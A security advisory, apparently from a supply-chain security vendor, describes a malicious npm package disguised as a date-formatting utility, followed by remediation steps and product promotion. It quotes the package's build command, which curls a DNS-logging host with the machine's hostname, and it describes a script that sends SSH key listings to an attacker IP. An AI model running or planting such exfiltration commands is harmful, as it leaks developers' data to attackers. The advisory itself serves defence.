houzidawang806npm
houzidawang806 is a confirmed malicious npm package (MAL-2026-5729) that steals credentials and exfiltrates sensitive data (malicious versions 1.0.0, 1.0.1, 1.0.2…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in houzidawang806 (npm)
What this malware does
Package self-describes as 'A simple date formatting utility' but ships two distinct attacker primitives. (1) postinstall.js enumerates ~/.ssh/ for *.pub files and POSTs the listing along with os.userInfo().username and platform to the hardcoded bare-IP endpoint https://124.221.154.135:443/post. The file's comments explicitly label sections as targets and C2 server in Chinese ('窃取目标', 'C2 服务器', '模拟外传数据到攻击者服务器 (C2)'). The script is shipped in the tarball but not wired into package.json lifecycle hooks, so it does not auto-execute on npm install; however, any tooling or developer that runs the shipped postinstall.js will exfiltrate SSH key listings to the attacker. (2) package.json scripts.build runs curl http://$(hostname).ba6511da.log.dnslog.pp.ua, embedding the installer's hostname as a subdomain of a public DNS-logging service used for out-of-band exfiltration. Running npm run build leaks the machine hostname to the attacker via DNS. The doc/behavior mismatch (a date-formatting library has no need for SSH directory enumeration, hostname recon, or hardcoded IP callbacks) plus the explicit C2-labeled comments make malicious intent unambiguous.
The OpenSSF Package Analysis project identified 'houzidawang806' @ 1.0.1 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for houzidawang806 (23 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging houzidawang806 across your stack and pipelines.
If you installed it — respond
houzidawang806 is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If houzidawang806 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks houzidawang806 before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks houzidawang806-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.